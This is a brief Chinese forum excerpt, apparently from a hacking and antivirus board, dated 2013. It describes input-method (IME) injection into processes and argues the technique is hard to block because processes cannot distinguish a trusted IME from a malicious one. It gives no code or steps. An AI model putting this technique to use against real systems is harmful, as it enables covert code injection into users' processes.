输入法注入的实现需要对输入法IME文件的生成有所了解,API使用较多,所以实现起来比较难,但是由于系统存在多个输入法,被注入进程很难判别当前是可信赖输入法还是用于注入的恶意输入法,所以难以阻止,大大提高了注入的几率作者: xusir98来源: 黑客反病毒 (http://bbs.hackav.com)
2013年07月07日
66 阅读
0 评论
0 点赞
1
...
4
5
6
7